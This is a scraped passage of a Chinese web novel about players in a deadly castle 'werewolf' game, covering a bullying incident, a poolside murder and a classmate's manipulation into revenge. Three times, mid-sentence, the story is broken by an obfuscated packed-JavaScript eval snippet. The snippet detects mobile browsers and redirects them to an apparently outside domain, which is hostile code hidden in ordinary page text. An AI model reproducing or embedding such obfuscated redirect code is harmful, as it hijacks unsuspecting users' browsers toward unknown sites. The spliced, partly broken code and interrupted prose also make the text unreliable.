“这也能听出来?”褚河惊讶。 闫志涛很少说话,声音辨识度也低。尤烟的耳力也太好了吧。 褚河靠近卫生间,总算听清楚了。 闫志涛在骂人,骂得很难听。他不仅骂人,还打人,似乎是把对方一次次地摔在隔板上。 没有求饶声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449016|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “要去帮忙吗?”褚河问。 “随……”尤烟换了个词,“可以。” 褚河走进男卫生间,没多久,骂声和撞击声都停止,可惜只过了一会儿,更难听的骂声响起。 尤烟在卫生间外静静等待。 …… …… 褚河进去的时候,郁渚飞已经被闫志涛揍得头破血流、左眼乌黑。 “这是在干什么呢,小同学?”褚河表面上揽住闫志涛的肩膀,实际上摁住闫志涛,免得他继续动手。 “关你屁事!”闫志涛啐了一口,挣扎无果,脾气更暴,“滚开,这儿没你的事。” 褚河道:“校园暴力啊,这可不对。” 郁渚飞对闫志涛和石子嘉一直唯唯诺诺,他们仨是同学,加之现在这一出,褚河很快有了猜测。 听到“校园暴力”四字,闫志涛皱皱眉,但很快恢复常态,大骂:“瞎扯什么,有病吧你。” 褚河说:“郁同学的伤挺严重,再不治疗可能会死,等到那时,我会把闫同学票出去哦。” 夸张的成分当然有,不过情况特殊,闫志涛多少怂了。 以前是以前,现在是现在,身处克修克尔城堡,前车之鉴让闫志涛不敢过分。 “你们俩给我等着!”闫志涛恶狠狠地撂下一句话,踹一脚门,离开了。 褚河轻轻拍了拍郁渚飞的肩膀,友好地笑道:“城堡里有医生,让花与酒安排你去看看吧。” 郁渚飞低着头,声音虚弱:“嗯。谢谢。” …… …… 尤烟等在门口,看到闫志涛第一个出来,给他让路,谁知对方瞪她一眼,还撞她肩膀。 等闫志涛走远后,尤烟才反应过来他是故意的。 估计是褚河让他吃瘪,而他认为她和褚河是一头的吧。 神经病。 尤烟在心里骂。 “走吧,回去休息,很晚了。”褚河出来的时候,闫志涛已经走没影了。 “嗯。” …… …… 尤烟凌晨睡,傍晚起,要不是肚子饿得难受,她还能继续躺。 尤烟怕祁迎风还在难过,只好拜托褚河帮自己带饭,考虑到自己和褚河的关系到底不如和祁迎风那般熟,尤烟特意加了一句“要是顺路”。 褚河给尤烟带了冒菜。 饥肠辘辘的时候吃一顿热腾腾火辣辣的饭菜,简直太爽。 冒菜是城堡里的厨师做的,味道不错,不比邓有利做的差。 尤烟去洗手,褚河帮她把冒菜和饭摆在茶几上。 “之前有邓有利团结玩家,现在他死了,玩家里还有蒋容和柏峰两个定时炸弹,玩家之间的信任,可以说,趋近于零。”褚河给尤烟递了张纸。 尤烟擦手:“正常。” 人与人之间的信任往往很脆弱,熟悉的人尚且如此,更遑论他们这群心思各异的陌生人。 “明天早点起,花与酒说要带我们去四楼花园。”褚河转告尤烟。 “什么时候?” “十点。” “他要干什么?” “说是给玩家换房间。”褚河道。 四楼花园有不少独栋小洋房,难道要让玩家搬去那里?为什么? 算了不管了,明天再说。 尤烟安心吃晚饭。 15. 新屋 次日九点四十,比闹钟更先响起的,是持续不断的敲门声。 尤烟被吵醒,拖鞋也不穿,过去开门。 是祁迎风。 “你醒了啊。”祁迎风说,“四楼开放了,花与酒要带我们去参观那边的花园,还说给我们换房间。” 尤烟打个呵欠:“知道了。” 祁迎风郁闷了两天,消息比她还滞后。 “等换完房间后,我们再去调查四楼?”祁迎风提议。 “我去过了。” “啊?什么时候?” “昨天。”尤烟讲重点,“四楼有一间资料室,但门是关着的。隔壁办公室摆了本《蝇王》,尤炫以前看过。” “说到这个……我好像有印象,炫哥还蛮喜欢那本书的。”祁迎风摸着下巴。 “我想撬锁,”尤烟认真地说,“或者直接拆门?” “好。”祁迎风突然回过神来,“啊?” 尤烟说:“只有资料室的门是关着的,或许里面有重要的线索。” 祁迎风抓头发:“重点不是线索吧。你在人家城堡,还要撬人家的门?” 大小姐的脑回路偶尔稀奇,而且她是真的敢上手,祁迎风生怕她哪天偷偷溜去撬锁拆门,然后被花与酒逮住。 别处倒也罢了,这里可是克修克尔城堡,一个随时会死人的地方。 “之后再说吧。”尤烟不置可否,“现在走?” 祁迎风看眼时间:“走吧。” 二人乘坐电梯前往四楼,来到一处露天大阳台。 阳台与一个山坡相连,阳台的地板是老柚木,延伸出去后是草坪和石子路。立足远眺,十几栋别墅整齐排好,颇像一个庄园。 柏峰看到那么多房子,眼睛都亮了:“换住处?一人一栋?” 花与酒脱帽鞠躬:“是的,尊贵的柏峰先生。” 花与酒带众人参观别墅群。别墅的小花园里单独配有泳池,甚至贴心地分了深水区和浅水区。 每一栋别墅门前都有一个牌子,上面写有玩家的名字。 部分玩家看看自己的名字,又看看精致的别墅,激动极了。 要是这房子真是他们的,那该多好。 “稍晚时候,我会安排仆人为各位搬运行李,烦请各位提前收拾好哦!”花与酒笑道。 柏峰激动地搓手:“好好好,早该带我们住这儿了。” 没人理会柏峰。 的确,现在的玩家们互不信任,但要说最厌恶和提防的人是谁,那必然是柏峰和蒋容。 “到了如今的局面,把每个人都分开是最好的选择,”石子嘉站出来说,“我建议所有人老老实实待在别墅里,免得又出凶杀案。” 闻言,花与酒微笑如旧,笑容软得像棉花。 别墅里什么都有,住进去后完全可以不用出来,大大降低被谋杀的可能性。 尤烟却不这么想。 城堡主人的目的是让玩家自相残杀,花与酒听从城堡主人指挥,他这个时候安排换住处,能安好心? 尤烟躺在床上,陷入沉思。 初到城堡时,尤烟无动于衷,她本以为自己会和以往一样对待这次经历,然而她错了。 司雪和邓有利死于非命,秦意月和杨一旭杀人偿命,表面上是狼人杀游戏的规则,实际却反映着某种思想。 这种想法并非尤烟主观臆断。 dn和《蝇王》是客观证明。 房间里为何会莫名其妙地播放动漫?书桌上放什么不好,偏偏放《蝇王》? 从话题上说,两部作品都从不同角度表达作者对正义与邪恶的界定、理解。 总之,尤烟不相信这是巧合。 而且……尤烟原本是来探清克修克尔城堡的秘密,顺便寻找尤炫的,现在看来,两个目的可以合二为一了。 综上所述,加上自己的直觉,尤烟认为尤炫绝非被动地进入这场游戏。 “资料室……”尤烟想到那唯一紧闭大门的房间,连手里的汉堡都忘了啃。 她一定要进去看看。 …… …… 要说最近谁出门最多,莫过于褚河。 人人都待在别墅里享受人生,只有褚河天天早出晚归,不知在干什么。 有些玩家看到褚河出门,总担心他要搞事情,连褚河主动打招呼都不理会,进屋关门,杜绝交流。 除了褚河,闫志涛、石子嘉和郁渚飞也偶尔出门。他们三人是同学,聚在一起讨论对策无可厚非。 这天,同学三人聚在闫志涛的别墅里,聊着天。 “尤烟、褚河、祁迎风,这三人明显是一头的,随着玩家人数减少,他们的优势会增加,我们一定要小心。”石子嘉分析,“尤其是那个尤烟,油嘴滑舌,我们最好别听她的话。” 闫志涛觑他一眼:“你在教我做事?” 投票的时候,闫志涛没有听石子嘉的建议,而是跟着尤烟投给了杨一旭。 石子嘉道:“志涛,我不是那个意思。我把我们三个看成团队,出发点都是为了我们。” 在石子嘉看来,闫志涛愚昧无知,郁渚飞懦弱怕事,如果没有他,这二人早就死了。 “呵呵,花与酒都说了,只有一个人能活下去,我怎么知道你会不会坑我?”闫志涛说话直接,根本不管别人怎么想。 “我们是朋友啊!”石子嘉做出无奈的表情,“至少比起其他人,你们更应该相信我,不是吗?” 闫志涛冷笑一声:“行了,我爱怎么样就怎么样,轮不到你来指挥。” 石子嘉自知说服不了闫志涛,只好转移重心:“渚飞,不管过程如何,你跟着我投票就行。” 郁渚飞一直低着头,从没抬起:“嗯。” 石子嘉注意到他脸上的伤口,皱眉,关心问:“你受伤了?” 郁渚飞下意识地看向闫志涛,当对上对方凶狠的眼神,他立即低回头:“我不小心摔倒了。” “以后小心点。”石子嘉道。 “好。”郁渚飞小声回应。 “志涛,你再好好想想吧,我们先走了。”石子嘉站起身来,“渚飞,走吧。” 闫志涛没管他俩,戴上高度数的眼镜,自顾自玩起最新款的游戏机。 石子嘉和郁渚飞一同离开。 郁渚飞的别墅后院与闫志涛的别墅后院挨得近,走几步路就能到,即将分别时,郁渚飞被石子嘉喊住。 “怎,怎么了?”郁渚飞问。 “没什么,就是不太放心你。现在看起来风平浪静,可谁也不知道下一个受害者会是谁、什么时候出现,”石子嘉的眼镜镜片被日光照得闪了闪,“总之,小心谨慎点。”他拍拍对方的肩膀。 “嗯,我知道了。”被人惦记,让郁渚飞心里暖暖的。 …… …… 尤烟决定今晚好好睡一觉,第二天醒来后去资料室,不管是撬锁还是拆门,她必须得进去。 尤烟做了个梦,梦到了兄长尤炫。 “你去哪了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449017|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”尤烟问。 尤炫不说话。 “我跟祁迎风来找你了。我们在一座城堡里。你是不是也来过?” 尤炫还是不说话。 “尤炫,”尤烟注意到他的发色,“你头发怎么白了?” 尤炫笑笑,终于开口,可惜牛头不对马嘴:“小烟,我会一直等你。” 哈? 尤烟一脸懵,还想问的时候,大脑慢慢恢复了意识,尤炫也消失不见。 尤烟睁开眼睛。 天渐亮。 尤烟好久没醒这么早了,看着窗边的晨曦,她微微出神,呆发够后,躺下接着睡,打算等第二次自然醒再起床。 “尤烟!”结果,祁迎风一嗓门把尤烟彻底吼醒。 尤烟望着天花板,眼神呆滞。 好困。 “尤烟,你快下来,出事了!”祁迎风喊道。 出事?大家各住各的,能出什么事? 尤烟揉揉眼睛,穿上红色的薄底人字拖,下楼。 “怎么了?”尤烟打开门,睡眼惺忪地看着祁迎风,没想到褚河也在。 “闫志涛死了。”祁迎风说。 “那个莫西干头?”尤烟对闫志涛最大的印象就是他的发型。 “是的。”祁迎风道,“石子嘉去找闫志涛,谁知闫志涛一直没回应,石子嘉觉得事情不对劲,于是强行闯入,然后在闫志涛的后院泳池里发现了其尸体。” 尤烟问:“其他玩家呢?” 祁迎风道:“都在闫志涛别墅外。” “去看看吧。”尤烟说。 “得快点了哦。”褚河笑,“离十点钟的会议只剩三个多小时。” 现在是伦敦时间6:46,留给他们的时间不多了。 尤烟“嗯”一声,率先往外走。 别的玩家果然都到了,石子嘉在一本正经地分析,郁渚飞低着头站他身后,其余人保持沉默,各想各的。 柏峰想到什么,突然说:“凶手肯定是石子嘉和郁渚飞,我昨天看见他俩从闫志涛的房子里走出来,停在附近小声密谋。” 石子嘉道:“别睁着眼睛说瞎话,没脑子的人不要带偏方向。” 柏峰捞起袖子,愠怒:“你说谁没脑子?” 祁迎风闭眼、扶额,又开始吵架了…… 尤烟跟褚河对视一眼,先后走进闫志涛的别墅。 “你们要干什么?!”石子嘉及时喊住二人。 褚河回头,笑道:“还有几个小时就要参会了,小同学也不希望那个时候还没找到凶手吧?” 找不到凶手,其余玩家只有死路一条。 柏峰趁机附和:“就是。石子嘉你要是阻止他们,你就是凶手!” 石子嘉冷哼一声:“我说了我不是,你最好别被打脸。” 别墅后院有一个游泳池,左边是深水区,右边是浅水区,闫志涛死在了左边的深水区。 闫志涛肿胀的尸体漂浮在水上,衣服飘散,整个场面看起来非常瘆人。 祁迎风让花与酒安排人捞闫志涛,然后进行尸检。 “希望现场没被破坏过。”褚河随口道。 尤烟观察完整个后院,肯定道:“不会。” 褚河思考片刻:“懂了。” 身后的人:“……” 你懂什么了你。 祁迎风更无语,这两人怎么老是无线电波通话? “你说你看见石子嘉和郁渚飞昨天下午在这附近讲话?”尤烟看向柏峰,问。 16. 恐惧 柏峰这段时间不是被忽视就是被针对,好不容易有人正常跟自己说话,他顿时来了精神,把自己看到的全部详细说出,连尤烟曾指认过他一事都不在乎了。 “对,大概傍晚六点半。”柏峰道,“还有!我凌晨在阳台抽烟,看到有个人影在闫志涛别墅里动,我以为是闫志涛,现在看来,绝对是凶手在布置现场。” 石子嘉问:“所以你没看清是谁?” 柏峰翻白眼:“我要是看清了,还犯得着找证据?” 石子嘉身后的郁渚飞抬了一次头,幅度不大,加之人们的目光聚集在柏峰和石子嘉身上,没谁注意到他。 除了本就在观察他的尤烟和褚河。 蒋容想趁机缓和与玩家们的关系,弱弱地举手,参与话题:“那个……按照你们说的,闫志涛大概死在晚上,大晚上的,他真的会出来游泳吗?” 柏峰嗤道:“没看见他穿的常服吗,肯定不是自己溺死的啊!” 蒋容不解:“那他怎么会死在泳池里?” 不游泳,闫志涛何必靠近泳池? 玩家们纷纷看尤烟。 “泳池有异样,吸引了他的注意力。”尤烟说。 “什么异样?”石子嘉下意识地捏拳头。 尤烟正要说话,祁迎风回来了。 祁迎风将尸检报告单递给尤烟,面向众人,说:“闫志涛的确是溺水身亡,不过,他的腿上有擦伤。” 尤烟把报告单传给褚河,问石子嘉:“闫志涛是不是近视?” 据她观察,闫志涛经常眯眼睛,眼神也涣散不聚焦。 “是。”石子嘉疑惑,“怎么?” “散光吗?”尤烟又问。 “这我就不清楚了,应该吧。”说到底,石子嘉跟闫志涛只是表面朋友,不走心的。 尤烟刚才就把整个后院观察完毕,于是这会儿有目的地走向深水区,在一米外停下,指着几块翘起的石砖:“人为的。” 有人故意把石砖抬高。 石子嘉一脸狐疑:“谁闲得慌干这种事?” 尤烟说:“闫志涛的腿上为何有擦伤,因为他被这些石砖绊倒,摔跤,滚进深水区。他不会游泳,所以溺死了。” 就这么简单。 “你把话说清楚。”石子嘉不满。 此前尤烟都是正叙案件经过,石子嘉很快能反应过来,现在尤烟东扯一下西扯一下,石子嘉有点跟不上她的思路。 尤烟并非故意绕他,她也还在思考和分析。 花与酒不知何时出现在众人身后,笑眯眯地提醒:“已经九点五十了,可以准备开会了哦,亲爱的玩家们。” 柏峰一看见花与酒就烦:“搞什么啊,我们还在调查。” 蒋容心急:“就是,这次这么晚才发现死者,三个小时的时间,我们能查出什么啊?” 花与酒语气温和,却不容反驳:“不行哦,说好的十点开会就得十点开会呢。” “你!”柏峰怒,但一想到花与酒的枪,根本不敢动手。 尤烟朝花与酒伸手:“给我个袋子,透明的。” 花与酒安排男仆去办事,尔后问:“我能问问为什么吗?” “装证据。” “哦?”花与酒说,“看来尤烟女士已经知道凶手是谁了。” “我没这么说。”尤烟纠正。 听到她这么说,蒋容和柏峰慌了,连祁迎风都有些惊讶。 等等,尤烟不知道? 那怎么办? 男仆拿来袋子,尤烟接过,走到泳池的另一端,戴上手套,蹲下,用铲子铲起一堆泥土,装进袋子里。不同的地方、同样的动作,一共重复五次。 最后,尤烟对着后院的围墙某处拍了个照片。 围墙不高,连她都能翻。 她的动作行云流水,像早准备好了一样,完成这些,没用五分钟。 “可以走了。”尤烟说。 所有人都盯着她,目光随她而移动。 不是,她到底什么意思,到底是知道凶手了还是不知道? …… …… 花与酒果然给玩家们换了会议室,布局没有变化,墙壁图案和装饰品倒是有所不同。 石子嘉和郁渚飞坐到自己的位置上,下意识地看闫志涛的座位。 闫志涛的位置在石子嘉和郁渚飞之间,现在,闫志涛死了,他的位置空出来,只留一张遗照。 闫志涛不爱笑,一张脸又冷又凶。 看着旁边的照片,郁渚飞忽然哭出来。 “你哭什么?”对面的柏峰见了,自以为懂了,“我知道了,肯定是因为你杀掉闫志涛,现在后悔,所以哭。” 蒋容想跟柏峰抱团,只要柏峰出声,她也说话:“有道理。郁渚飞为一己之私杀害闫志涛,现在看到朋友的照片,回忆曾经的友谊,悔恨而哭。” 他俩不说还好,一说,郁渚飞哭得更大声。 这种推测,别人倒是算了,尤烟和褚河可不信。 他俩都知道闫志涛对郁渚飞实施过暴力,这两同学之间不可能存在友谊。 相反地,这可以成为郁渚飞的杀人动机。 至于真相…… “我,我……”郁渚飞一把鼻涕一把泪,呼吸越发急促沉重,连话都说不出来。 玩家们不明所以地盯着郁渚飞。 他究竟想表达什么? 沉默之际,石子嘉举起手:“我票郁渚飞。” 更加沉默。 “卧槽,内讧啊!”柏峰嚷嚷。 郁渚飞僵硬地转头,难以置信地看着石子嘉。 石子嘉道:“虽然很不忍心,但我还是想说,郁渚飞最有可能杀害志涛。第一,志涛曾经打过郁渚飞,郁渚飞憎恨志涛,他有杀人动机。第二,郁渚飞的后院跟志涛的后院相连接,他离得近,最方便杀人,柏峰看到的人影多半也是他。第三,也是最重要的一点。” 说到这里,石子嘉刻意停顿。 “你说啊!”柏峰迫不及待。 “柏峰说我和郁渚飞在志涛门口密谋,不完全错,因为郁渚飞的确向我提议杀害志涛,不过我拒绝了。”石子嘉自信满满,“总之,这次的凶手,毫无疑问是郁渚飞。” 郁渚飞泪流满面,眼神复杂,有绝望,有后悔,更多的,是恐惧。 褚河靠着椅背,抬了抬手:“郁小同学有什么想说的吗?” 郁渚飞几乎没有在人前说过话,而这一次,他直接成为众人注视的靶子,走上舞台的中心。 灯光打在他的全身,周围却一片黑暗。 郁渚飞蹲下,闭眼,抱头,可灯光太亮太刺眼,照得他眼前全白。 “说话啊!”柏峰喊。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449018|185235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会真的是凶手吧?”蒋容窃窃。 “肯定是他,票他!”石子嘉眼神放光。 他们的嘴巴无限放大,几乎要将郁渚飞吞并。 台下观众的叫嚷让郁渚飞感到恐惧,他在那些叫嚷中听到了难听的话。 “他为什么打你,不打其他人?你要不先找找自己的原因。”老师们说。 但他们不知道闫志涛在富二代、官二代面前抬不起头来,只会欺负郁渚飞这个爹不疼娘不爱的差生。 “我们哪有时间管你,你自己不知道反抗吗?”父母说。 但他们不知道闫志涛当着十几个小弟的面,将十八岁的郁渚飞当马骑、当狗使唤,将一个成年人的身体和自尊心踩在脚底。 “哎哟,这小子又被打了,真惨。”同学说。 但郁渚飞从他们眼里看不到真正的同情,只有嘲笑。 郁渚飞不想受到任何人的关注和注视,他只想远离所有有人的地方,去一个仅他存在的世界。 不得不说,当收到城堡发来的邀请函时,郁渚飞感到前所未有的激动和幸福。 他可以离开学校和家庭、离开老师同学和父母了! 郁渚飞把所有的存款留给父母,提着小小的行李袋离开原先的城市,来到陌生的国度。 他进入金碧辉煌的城堡,被城堡里的一切折服。 他以为自己可以开始新的人生,谁知,闫志涛出现了。 那个对他实施校园暴力的人,再次出现在他的世界。 郁渚飞把闫志涛看成上天对自己的惩罚,他想,一定是上辈子造太多孽,所以这辈子才要赎罪,既然如此,他就受着,这样一来,说不定下辈子更轻松。 郁渚飞像行尸走肉,在这座城堡浑浑噩噩待了一个月。 前不久,他又被闫志涛拳打脚踢,若非路过的褚河好心救他,恐怕他还要经历更长时间的暴力殴打。 昨天,石子嘉注意到他的伤口。 聚那么多次,石子嘉昨天才问出口,郁渚飞并非不知道石子嘉打的什么算盘。 但那又如何呢,石子嘉关心他。 离开闫志涛的别墅后,石子嘉喊住他,并且坦然直白地问了他一个问题。 “渚飞,你想报仇吗?” 报仇? 郁渚飞愣在原地,久久没能回神。 石子嘉耐心道:“我有个办法,能让你永远摆脱闫志涛。你想听吗?” 郁渚飞想,但他害怕。 万一失败,闫志涛会不会更加讨厌他?对他下更狠的手? 而且,如果他报仇,下辈子会不会又遇到闫志涛这样的惩罚? “只要你按照我说的做,不会有任何失误。”石子嘉看出郁渚飞的犹疑,如是说道。 “我……”郁渚飞的大脑完全放空,连他自己都不知道自己说了什么,“我想。” 当这两个字脱口而出后,郁渚飞被自己惊呆了。 他在说什么,他在说什么啊…… “很好!”石子嘉双手摁住郁渚飞颤抖的肩膀,坚定地看着他,“我会帮助你,事成之后,你再也不用受到闫志涛的欺负。” 郁渚飞看着石子嘉的眼睛,渐渐地恢复宁静。 他才十九岁,他的人生还很长,他不想等下辈子了。 他这辈子就想好好生活。 他要摆脱闫志涛。